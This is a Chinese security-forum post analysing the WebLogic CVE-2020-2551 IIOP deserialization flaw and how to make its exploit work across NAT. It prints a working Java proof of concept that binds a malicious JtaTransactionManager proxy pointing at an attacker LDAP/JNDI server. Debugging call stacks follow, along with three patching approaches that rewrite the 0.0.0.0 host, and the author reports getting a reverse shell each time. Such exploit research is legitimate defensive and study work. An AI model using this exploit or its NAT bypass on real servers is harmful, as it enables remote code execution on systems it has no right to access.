安全矩阵

 找回密码
 立即注册
搜索
查看: 744|回复: 0

Weblogic CVE-2020-2551 绕过NAT网络分析

[复制链接]

77

主题

77

帖子

257

积分

中级会员

Rank: 3Rank: 3

积分
257
发表于 2022-11-14 13:34:54 | 显示全部楼层 |阅读模式
前言在复现Weblogic中的CVE过程中,针对IIOP协议的利用,有一个经典的CVE是CVE-2020-2551,在进行这个POC的构造过程中,发现我使用vmware虚拟机下使用docker搭建的weblogic服务
直接使用下面的POC
  1. public class CVE_2020_2551 {
  2.     public static <T> T createMemoitizedProxy(final Map<String,Object> map, final Class<T> iface,
  3.                                               final Class<?> ... ifaces) throws Exception {
  4.         return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
  5.     }
  6.     public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
  7.         return (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);
  8.     }
  9.     public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) {
  10.         final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
  11.         allIfaces[0] = iface;
  12.         if (ifaces.length > 0) {
  13.             System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
  14.         }
  15.         return iface.cast(Proxy.newProxyInstance(CVE_2020_2551.class.getClassLoader(), allIfaces , ih));
  16.     }
  17.     public static Map<String,Object> createMap(final String key, final Object val) {
  18.         final Map<String,Object> map = new HashMap<String, Object>();
  19.         map.put(key,val);
  20.         return map;
  21.     }
  22.     public static void main(String[] args) throws Exception {
  23.         String ip = "192.168.153.136";
  24.         String port = "7001";
  25.         Hashtable<String, String> env = new Hashtable<String, String>();
  26.         env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
  27.         env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));
  28.         Context context = new InitialContext(env);
  29.         // get Object to Deserialize
  30.         JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
  31.         jtaTransactionManager.setUserTransactionName("ldap://192.168.153.1:1389/5l7wz0");
  32.         Remote remote = createMemoitizedProxy(createMap("pwned", jtaTransactionManager), Remote.class);
  33.         context.bind("hello", remote);
  34.     }
  35. }
复制代码

将会出现错误,报错了?
编辑
连接被拒绝
之后跟了一下逻辑
原因我们根据报错的调用栈,可以定位在weblogic.iiop.EndPointImpl#send方法中
编辑
发送的是LocateRequest
该方法的调用是在sendReceive方法中
编辑
在发送了request请求之后,使用getReply方法处理response回复
调用栈为
​​
  1. send:1129, EndPointImpl (weblogic.iiop)
  2. sendReceive:1168, EndPointImpl (weblogic.iiop)
  3. sendReceive:1186, EndPointImpl (weblogic.iiop)
  4. locateNameService:204, IORManager (weblogic.iiop)
  5. createInitialReference:123, IORManager (weblogic.iiop)
  6. string_to_object:341, ORB (weblogic.corba.orb)
  7. resolve_initial_references:235, ORB (weblogic.corba.orb)
  8. getORBReferenceWithRetry:588, ORBHelper (weblogic.corba.j2ee.naming)
  9. getORBReference:559, ORBHelper (weblogic.corba.j2ee.naming)
  10. getInitialContext:85, InitialContextFactoryImpl (weblogic.corba.j2ee.naming)
  11. getInitialContext:33, iiopEnvironmentFactory (weblogic.factories.iiop)
  12. getInitialContext:71, iiopEnvironmentFactory (weblogic.factories.iiop)
  13. getContext:315, Environment (weblogic.jndi)
  14. getContext:285, Environment (weblogic.jndi)
  15. getInitialContext:117, WLInitialContextFactory (weblogic.jndi)
  16. getInitialContext:684, NamingManager (javax.naming.spi)
  17. getDefaultInitCtx:313, InitialContext (javax.naming)
  18. init:244, InitialContext (javax.naming)
  19. <init>:216, InitialContext (javax.naming)
  20. main:43, CVE_2020_2551 (pers.weblogic)
复制代码

在IORManager#locateNameService方法中
编辑
在创建了一个LocateRequestMessage对象之后传入了sendReceive方法中进行发送LocateRequest对象,而在sendReceive中,返回的是var1.getReply
返回得到的是一个LocateReplyMessage对象,在locateNameService方法中调用needsForwarding返回了一个IOR对象
编辑
在其中的iopProfile属性中,得到的host / port分别为0.0.0.0 / 7001,这里0.0.0.0代表的是自己本机的地址,本机是没有开启weblogic服务的,这里就是导致使用虚拟机docker是不能直接利用的原因
之后就是调用resolveObject方法进行后续处理
改造其中在上面提到的getReply方法的调用过程中,返回的是SequencedRequestMessage类的reply属性值
如果我们能够控制这里返回的reply属性的值,修改其中的host为带有weblogic服务的地址,就能够利用成功
在全局搜索reply之后,只有在notify方法中才有对应的赋值
编辑
我们在该方法位置打下断点之后调用栈为:
  1. notify:25, SequencedRequestMessage (weblogic.iiop)
  2. handleLocateReply:1056, EndPointImpl (weblogic.iiop)
  3. processMessage:535, EndPointImpl (weblogic.iiop)
  4. handleMessage:500, EndPointImpl (weblogic.iiop)
  5. dispatch:324, EndPointImpl (weblogic.iiop)
  6. dispatch:126, ConnectionManager (weblogic.iiop)
  7. dispatch:298, MuxableSocketIIOP (weblogic.iiop)
  8. dispatch:298, BaseAbstractMuxableSocket (weblogic.socket)
  9. readReadySocketOnce:913, SocketMuxer (weblogic.socket)
  10. readReadySocket:842, SocketMuxer (weblogic.socket)
  11. processSockets:335, JavaSocketMuxer (weblogic.socket)
  12. run:29, SocketReaderRequest (weblogic.socket)
  13. execute:21, ExecuteRequestAdapter (weblogic.work)
  14. execute:145, ExecuteThread (weblogic.kernel)
  15. run:117, ExecuteThread (weblogic.kernel)
复制代码

编辑
在这里为reply属性赋值的LocateReplyMessage对象的ior属性对象中的ioProfile属性中的host是0.0.0.0
根据前面的分析,我们知道我们需要将这个host指向带有weblogic服务的ip地址
所以我们向前追溯LocateReplyMessage类对象的实现
通过在调用栈中寻找,其出处是在weblogic.iiop.EndPointImpl#dispatch方法中得到的
编辑
通过调用createMsgFromStream方法得到LocateReplyMessage对象之后调用handleMessage方法处理该消息
​​跟进createMsgFromStream方法
编辑
根据消息的消息头进入不同的case子句,这里为case 4
创建了一个LocateReplyMessage对象,传入的参数分别是消息头和输入流对象
编辑
调用了read方法对数据进行解析
编辑
使用了IOR继续进行解析
编辑
编辑
最后调用的是Profile#read方法对数据进行处理
编辑
创建了一个ConnectionKey对象,其构造方法调用对应的read方法进行数据处理,在调用ConnectionKey#read方法对数据进行处理
编辑
获取到了对应的ip和对应的port
之后再在Profile#read方法中,调用var4.getAddress / var4.getPort方法获取ip / port


改造1这里的var4变量没有什么特别的用处,只是获取了Address / Port数据,我们如果能够手动修改this.host为搭建有weblogic服务的address,就能够成功进行利用
所以我们需要重写IOPProfile类中的read方法
直接在项目文件下面创建一个weblogic.iiop的包,下面带有IOPProfile类
其中的read方法
编辑
改造之后获取到的IOPProfile对象为
编辑
现在指向了正确的ip和port
本地搭建一个JNDI注入工具服务,监听本机的8000端口
运行前面提到的POC
编辑
成功反弹shell,使用这种方式是能够绕过NAT的
改造2类似的上面的处理是在IOPProfile#read方法中
最初使用的是ConnectionKey对象的getAddress方法获取的ip地址,所以追其来源,是在ConnectionKey#read方法中获取数据中得到的,我们可以直接在这个位置进行处理
修改后的read方法为
编辑
值得注意的是这里是不能够直接进行赋值的,需要首先获取到0.0.0.0的ip地址之后进行覆盖操作
编辑
这种方法同样能够成功反弹shell


前面使用直接覆盖host属性的方式,强制更改ip地址来达到我们的目的,但是有个弊端就是每次需要手动修改一下对应的ip,在学习其他的绕过方式的过程中,发现了有一个师傅和我之前思考的方向一致,贴个链接
https://xz.aliyun.com/t/7498
不得不说师傅们太强了
绕过覆盖ConnectionKey对象这种绕过方式主要是在参考一中的评论中,fnmsd师傅提出的一种覆盖ConnectionKey的方式达到自动修改host地址的目的
学习一下
使用wireshark抓包,观察一下请求流程
编辑
其中第六步就是接收LocateReply对象的步骤
在数据包中包含了需要请求的服务
编辑
这时候的输入流就是第6步中的传送的数据
所以我们能够从该数据中获取到远程的ip地址进行替换这里的0.0.0.0
所以重写IOPProfile#read方法为:
编辑
直接覆盖了ConnectionKey对象
编辑
修改后的ip地址成功替换
也能够反弹shell
编辑
覆盖IOPProfile对象
​产生在NAT网络下不能使用POC的最直接原因就是因为产生了0.0.0.0导致不能连接成功
代码中体现在了EndPointManager#createEndPoint方法中进行了一次Socket通信
编辑
可以看看此时的调用栈为
  1. createEndPoint:464, EndPointManager (weblogic.iiop)
  2. findOrCreateEndPoint:239, EndPointManager (weblogic.iiop)
  3. findOrCreateEndPoint:256, EndPointManager (weblogic.iiop)
  4. locateIORForRequest:383, IIOPRemoteRef (weblogic.iiop)
  5. getInvocationIOR:535, RemoteDelegateImpl (weblogic.corba.idl)
  6. request:256, RemoteDelegateImpl (weblogic.corba.idl)
  7. _request:449, ObjectImpl (org.omg.CORBA.portable)
  8. bind_any:18, _NamingContextAnyStub (weblogic.corba.cos.naming)
  9. bind:189, ContextImpl (weblogic.corba.j2ee.naming)
  10. bind:151, ContextImpl (weblogic.corba.j2ee.naming)
  11. bind:425, InitialContext (javax.naming)
  12. main:48, CVE_2020_2551 (pers.weblogic)
复制代码

大概分析一下流程
前面都是bind方法的调用过程,可以跟踪到RemoteDelegateImpl#request方法中
编辑
这里调用getInvocationIOR方法获取对应的IOR对象,跟进一下
编辑
最开始的currentIOR属性为null,进入了else语句,调用IIOPRemoteRef.locateIORForRequest方法通过从请求中加载IOR对象为currentIOR属性赋值
编辑
这里通过调用EndPointManager.findOrCreateEndPoint方法,从传入的IOR对象中寻找或者创建一个EndPoint对象
可以跟进到findOrCreateEndPoint方法的调用
编辑
首次调用这里不存在友EndPoint对象,所以进入else语句中使用createEndPoint方法创建一个EndPoint
编辑
该方法中首先获取了取得的IOR对象的IOPProfile对象类
之后获取该对象中的Host / Port中的数据,传入了MuxableSocketIIOP.createConnection方法中,创建一个连接
如果我们能够修改IOR对象中的iopProfile属性中的host / port数据,指向正确的地址,就能够进行利用
在r4v3zn师傅的思路中


           
  •         在ContextImpl#bind方法的调用中,记录下远程ip地址和端口

编辑
之后在locateIORForRequest方法的调用中,修改传入的IOR对象中的host数据
编辑
但是在我进行跟进分析中
在创建连接中,仅仅是使用了IOR对象中的IOPProfile对象中的Host和Port进行连接
编辑
其中getHostAddress方法
编辑
返回的是IOPProfile对象的canonicalHost属性,而不是host属性?
这里canonicalHost属性是一个InetAddress对象,但是我们并不需要创建一个该对象之后进行反射修改,因为调试发现,首次调用getHostAddress方法过程中,会进入if语句中,通过host属性进行创建InetAddress类
所以我们不需要进行师傅展示中创建对象的操作,我们直接使用反射赋值,将所有的0.0.0.0替换为正确的ip地址,也就能够达到我们的目的了
编辑
能够成功反弹shell

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 06:27 , Processed in 0.015415 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表